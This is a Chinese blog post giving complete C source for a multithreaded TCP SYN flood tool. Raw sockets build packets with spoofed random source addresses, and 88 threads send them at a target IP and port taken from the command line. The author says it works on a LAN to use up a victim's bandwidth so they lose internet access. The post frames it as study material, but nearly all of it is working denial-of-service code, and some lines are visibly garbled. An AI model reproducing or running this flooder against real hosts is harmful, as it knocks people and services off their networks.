TCP洪水攻击

TCP洪水攻击

 

下面的程序是根据网友 ssffz1 改编的 ,修改后得效果不是很好,但作为学习还是可以说得过去,请支持原创

http://bbs.chinaunix.net/thread-2145439-1-1.html

改写的源代码  http://www.kuaipan.cn/file/id_51649056203605134.htm

原始的源代码  http://www.kuaipan.cn/file/id_51649056203605135.htm

 

程序在局域网内的效果还是挺好的,主要还是占用对方的带宽,使对方上不了网,cpu资源占用率得话,自己测试一下就知道了

 

tcp 的三次握手原理

main.c

 
 
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/tcp.h>
  11. #include <arpa/inet.h>
  12. #include <signal.h>
  13. #include <pthread.h>
  14. #include"ip_port_rand.c"
  15. #include"sigFunction.c"
  16. #include"pth_attack.c"
  17. #include"checkSum.c"
  18. #include"initpool.c"
  19. #include"in_head.c"
  20. int s ;
  21. int quit_id =0 ;
  22. char *head[POOL_MAX] ; // header pool size , ip header+ tcp header
  23. struct sockaddr_in toaddr ; //原始套接口地址
  24. int toaddr_len = sizeof(struct sockaddr_in) ; // 原始套接地址的大小
  25. int buf_len = sizeof(struct iphdr) + sizeof(struct tcphdr) ;// 缓冲池得大小== ip头部大小+tcp头部
  26. int main( int argc ,char ** argv)
  27. {
  28.     //线程池缓冲区
  29.     pthread_t pth[PTH_MAX] ;
  30.     pthread_attr_t attr ;
  31.     int i = 0 ,ret , fool =1 ,opt ;
  32.     void * pth_message ; // 传递给线程得信息参数
  33.     signal(SIGINT ,sig_process) ; //信号捕获函数 ctrl + c
  34.     bzero(&toaddr,toaddr_len) ; //虽然下面有处理各个字段,但最好还是清空先
  35.     toaddr.sin_family = AF_INET ; //IPV4
  36.     toaddr.sin_addr.s_addr =0 ;
  37.     toaddr.sin_port = 0 ;
  38.     ///
  39.     int ip_addr ; /*attaced ip address */
  40.     int _port ; /*attacked port */
  41.     if( argc != 3 ) //参数判定
  42.     {
  43.         fprintf(stderr,"usage:%s ip or port\n",argv[0]);
  44.         return -1 ;
  45.     }
  46.     //ip and port 判定
  47.     if( (ip_addr = inet_addr(argv[1])) == INADDR_NONE || ( _port = atoi(argv[2])) ==0  )
  48.     {
  49.         fprintf(stderr,"ip format is error\n",argv[1]);
  50.         return -1 ;
  51.     }
  52.     else
  53.     {
  54.         //绑定被攻击的IP 和端口
  55.         toaddr.sin_addr.s_addr = ip_addr ;
  56.         toaddr.sin_port =htons(_port) ;
  57.     }
  58.     //随机 伪装 IP 和 端口
  59.     initRand();
  60.     //第三个参数表明要接收的协议包 ,我们设为TCP协议的包
  61.  //   pthread_attr_init(&attr) ;
  62.  //   pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_DETACHED);
  63.     if( (= socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0 )
  64.     {
  65.         perror("Socket:");
  66.         exit(1);
  67.     }
  68.     /*IP_HDRINCL : IP头部随数据包含*/
  69.     /*j  */
  70.     if(( setsockopt(s,0,IP_HDRINCL , (void *)&fool,sizeof(fool)))<0)
  71.     {
  72.         perror("setsockopt");
  73.         exit(-1);
  74.     }
  75.     else{
  76.         printf("setsockopt ok\n");
  77.     }
  78.     initPool(head,&toaddr) ;
  79.     // 1024 pthread to attack the computer
  80.     /*
  81.     进行线程脱离试一试 会不会快点
  82.     */
  83.     while(i<PTH_MAX)
  84.     {
  85.         ret =pthread_create(&pth[i],NULL,attackPth,NULL);
  86.         if(ret!=0)
  87.         {
  88.             perror("pthread_create");
  89.             return -1;
  90.         }
  91.         i++;
  92.     }
  93.    
  94.     // 处理线程的返回信息
  95.     for(i=0;i<PTH_MAX;i++){
  96.         //等待线程得返回
  97.         ret = pthread_join(pth[i],&pth_message);
  98.         if(ret !=0){
  99.             perror("pthread_join Error\n");
  100.             exit(1);
  101.         }
  102.         printf("pthread join %d is %s !\n",i,(char *)pth_message);
  103.     }
  104.     sleep(1);
  105.     pool_clean(head);
  106.     close(s);
  107.     return 0 ;
  108. }
 
initpool.c
 
 
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<linux/types.h>
  4. #include<error.h>
  5. #include<unistd.h>
  6. #include<netinet/in.h>
  7. #include<netinet/ip.h>
  8. #include<netinet/tcp.h>
  9. #include<arpa/inet.h>
  10. #include<stdint.h>
  11. #include"awl_checksum.c"
  12. extern int quit_id ;
  13. int initPool(char *head[] , struct sockaddr_in *to)
  14. {
  15.     printf("initPool\n");
  16.     int i =0 ;
  17.     struct iphdr *iph ; // ip header
  18.     struct tcphdr *tcph; // tcp header
  19.     int iph_len = sizeof(struct iphdr) ;
  20.     int tcph_len = sizeof ( struct tcphdr) ;
  21.     int buff_check[512];
  22.     int buf_len = iph_len + tcph_len ; // 数据包得总长度
  23.     printf("buf_len:%d",buf_len);
  24.     while( i<POOL_MAX)
  25.     {
  26.         //head 的大小位ip头部 和 tcp 头部
  27.         head[i] =(char *) malloc( buf_len)  ;
  28.         if(head[i]==NULL)
  29.         {
  30.             printf("test program run location\n");
  31.             perror("usage:");
  32.             return -1;
  33.         }
  34.         iph =(struct iphdr*)head[i];
  35.         tcph=(struct tcphdr *)(head[i]+iph_len) ;
  36.         /*iph = (struct iphdr * )malloc(sizeof (struct iphdr));
  37.         tcph =(struct tcphdr *)malloc(sizeof( struct tcphdr));
  38.         */
  39.         //ip 头部封装
  40.         iph->ihl = 5 ; // ip header length 4*5 = 20 B
  41.         iph->version = 4 ; // ipv4
  42.         iph->tos = 0 ; // tos server
  43.         iph->tot_len = htons(iph_len+tcph_len ); //ip总长度 20+20 = 40 B
  44.         iph->id =htons(getRand16()); // \
  45.         iph->frag_off =0 ;
  46.         iph->ttl=getRand8();
  47.         iph->protocol = IPPROTO_TCP ;//Tcp protol
  48.         iph->check = 0 ; // 奇偶验证 , ??? 这里没有对手动对iph进行奇偶检验 , 不知道为什么,但是最后抓包时且发现已经校验了?????
  49.     // 如果手动进行校验
  50.     //iph->check= calc_chsum( (unsigned short *)iph,sizeof(struct iphdr));
  51.     //抓包时发现iph->check 没有错 ,但是tcp->check就出问题了,本人菜鸟,哪位老兄知道的请给我留言,O(∩_∩)O谢谢
  52.         iph->saddr= getRand32() ;  // source ip
  53.         printf("iph->saddr :%d\n",iph->saddr );
  54.         iph->daddr=(to->sin_addr).s_addr ; // destintion ip , atttacked
  55.         //tcp头部封装
  56.         tcph->source = getRand16 () ; // source port
  57.         tcph->dest = to->sin_port;// destintion port
  58.         tcph->seq = htonl(getRand32());
  59.         tcph->ack_seq  = 0 ;
  60.         tcph->doff = sizeof(struct tcphdr) /4 ; // 首部长度得大小
  61.         tcph->res1 =0 ; // 3 bit  保留位置空
  62.         tcph->fin = 0; //
  63.         tcph->syn = 1; // 同步序列号
  64.         tcph->rst = 0; //重置位
  65.         tcph->psh = 0; //
  66.        tcph->ack = 0; //ack 位
  67.        tcph->urg = 0;//  紧急指针无效
  68.     ???
  69.        tcph->res2 = 0; // 3bit 保留位
  70.         ///???
  71.         tcph->window = htons(getRand16()) ; //
  72.         tcph->check =0 ;
  73.         tcph->urg_ptr =0 ;
  74. //  tcph->check = _tcp_checksum(iph->saddr,iph->daddr,(unsigned short *)tcph,tcph_len) ;
  75.        tcph->check = tcp_checksum(iph->saddr, iph->daddr ,(unsigned short *)tcph,tcph_len) ;
  76.         //add tcp header into head[i](at struct iphdr)
  77.        i++;
  78.     }
  79.     return 0;
  80. }
  81. //释放空间
  82. int pool_clean(char *head[])
  83. {
  84.     int i =0 ;
  85.     while(i<POOL_MAX)
  86.     {
  87.         free(head[i]);
  88.         i++;
  89.     }
  90. }
 
 
ip_port_rand.c
 
 
  1. #include<time.h>
  2. #include<sys/types.h>
  3. void initRand()
  4. {
  5.     srand(time(0));
  6.     printf("Star srand ok\n");
  7. }
  8. // 8 bit rand number
  9. u_int8_t getRand8(void)
  10. {
  11.     return ( rand()%256) ;
  12. }
  13. // 16 bit rand number
  14. u_int16_t getRand16(void)
  15. {
  16.     return (rand()%65535) ;
  17. }
  18. u_int32_t getRand32 (void)
  19. {
  20.     return(rand()) ;
  21. }
  22. u_int32_t getN(u_int32_t n)
  23. {
  24.     return (rand()%n);
  25. }
 
pth_attack.c
 
 
  1. #include"in_head.c"
  2. extern int s ;
  3. extern char *head[] ;
  4. extern struct sockaddr_in toaddr ;
  5. extern int toaddr_len ;
  6. extern int buf_len ;
  7. extern int quit_id ;
  8. void *attackPth(void *message){
  9.     int i ;
  10.     while(1)
  11.     {
  12.         //随机一个 header package , 1~1024
  13.         i = getN(POOL_MAX);
  14.         if( (sendto(s,head[i],buf_len,0,(struct sockaddr *)&toaddr,toaddr_len))<0)
  15.         {
  16.             perror("Sendto");
  17.             pthread_exit("failed");
  18.         }
  19.         if(quit_id ==1 )
  20.        {
  21.           goto over ;
  22.       }
  23.     }
  24.     over :
  25.         pthread_exit("success");
  26. }
 
awl_checksum.c
 
 
 
  1. #include <string.h>
  2. #include <stdlib.h>
  3. #include <netinet/in.h>
  4. #include <netinet/tcp.h>
  5. #include <linux/types.h>
  6. struct tcp_fake_header {
  7.     __u32 saddr;
  8.     __u32 daddr;
  9.     __u8 mbz;
  10.     __u8 proto;
  11.     __u16 header_len ;
  12. };
  13. static unsigned short inline checksum(unsigned short *buffer,int size){
  14.     unsigned long cksum = 0;
  15.     while(size>1){
  16.         cksum += *buffer++;
  17.         size  -= sizeof(unsigned short);
  18.     }
  19.     if(size){
  20.         cksum += *(unsigned char *)buffer;
  21.     }
  22.     cksum = (cksum >> 16) + (cksum & 0xffff);
  23.     cksum += (cksum >> 16);
  24.     return((unsigned short )(~cksum));
  25. }
  26. /***
  27.     parameters:
  28.     saddr : 源IP
  29.     daddr:目标地址
  30.     buffer : (unsigned short *)tcph
  31.     size :tcph_len
  32. */
  33. unsigned int inline tcp_checksum(unsigned long saddr,unsigned long daddr,unsigned short *buffer,int size)
  34. {
  35.     unsigned long sum = 0;
  36.     /*临时 buf 缓冲区 ,主要存储 伪tcp 和 tcp*/
  37.     char *buf;
  38.     /*伪tcp头部*/
  39.     struct tcp_fake_header *tfh;
  40.     /*伪tcp首部长度*/
  41.     int tfh_len = sizeof(struct tcp_fake_header);
  42.     /*buf大小 = ip headlen + tcp headlen*/
  43.     buf = (char *)malloc(tfh_len+size);
  44.     tfh = (struct tcp_fake_header *)buf;
  45.     memcpy(buf+tfh_len,buffer,size);
  46.     tfh->saddr = saddr;
  47.     tfh->daddr = daddr;
  48.     tfh->mbz = 0;
  49.     tfh->proto = IPPROTO_TCP;
  50.     /*为什么是真tcp header 的长度 ,胃不是伪头部的尼 ??*/
  51.     tfh->header_len = htons(sizeof(struct tcphdr));
  52.     sum = checksum((unsigned short*)buf,tfh_len+size);
  53.     free(buf);
  54.     return(sum);
  55. }
  56. unsigned int inline ip_checksum(unsigned short *buffer,int size){
  57.     return(checksum(buffer,size));
  58. }
 
 
in_head.c
 
 
  1. /*随机 ip + tcp 头 数目*/
  2. #define POOL_MAX 65536
  3. /*线程数*/
  4. #define PTH_MAX 88
 
checkSum.c
 
 
  1. #include<stdio.h>
  2. int calc_chsum(unsigned short *addr,int len)
  3. {
  4.     int sum = 0,n = len;
  5.     unsigned short answer = 0;
  6.     unsigned short *= addr;
  7.     //每两个字节相加
  8.     while(> 1)
  9.     {
  10.         sum += *++;
  11.         n -= 2;
  12.     }
  13.     //处理数据大小是奇数,在最后一个字节后面补0
  14.     if(== 1)
  15.     {
  16.         *((unsigned char *)&answer) = *(unsigned char *)p;
  17.         sum += answer;
  18.     }
  19. //将得到的sum值的高2字节和低2字节相加
  20.     sum = (sum >> 16) + (sum & 0xffff);
  21. //处理溢出的情况
  22.     sum += sum >> 16;
  23.     answer = ~sum;
  24.     return answer;
  25. }
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值